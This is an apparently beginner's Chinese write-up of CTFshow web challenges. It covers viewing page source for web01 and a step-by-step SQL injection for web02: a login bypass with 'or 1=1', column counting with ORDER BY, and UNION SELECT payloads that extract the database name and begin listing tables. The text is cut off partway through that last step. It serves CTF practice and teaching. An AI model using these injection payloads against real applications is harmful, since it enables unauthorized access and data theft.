小白刷题CTF show web方向

web01

右键查看源代码，再使用在线解密，就可以得出答案了

web02 sql注入

1. admin' or 1=1 或者 1 or 1=1可以登录
2. 查询几个字段：1' or 1=1 order by 3 # 使用此语句，判断列数。
   order by 3不会出错，但是order by 4就没有显示了，因此判断共有3列。
   ORDER BY 子句中的数字（如 ORDER BY 4）通常表示按照查询结果中的第几个列进行排序，而不是列名。这意味着 ORDER BY 4 将根据查询结果中的第四列进行排序。
   
3. 使用-1' union select 1,2,3 # 判断回显的位置
   发现回显位置是2
   
4. 1' union select 1,database(),3# 查看数据库名称，发现是web2
5. 1' union select 1,group_concat(table_name),3 from informa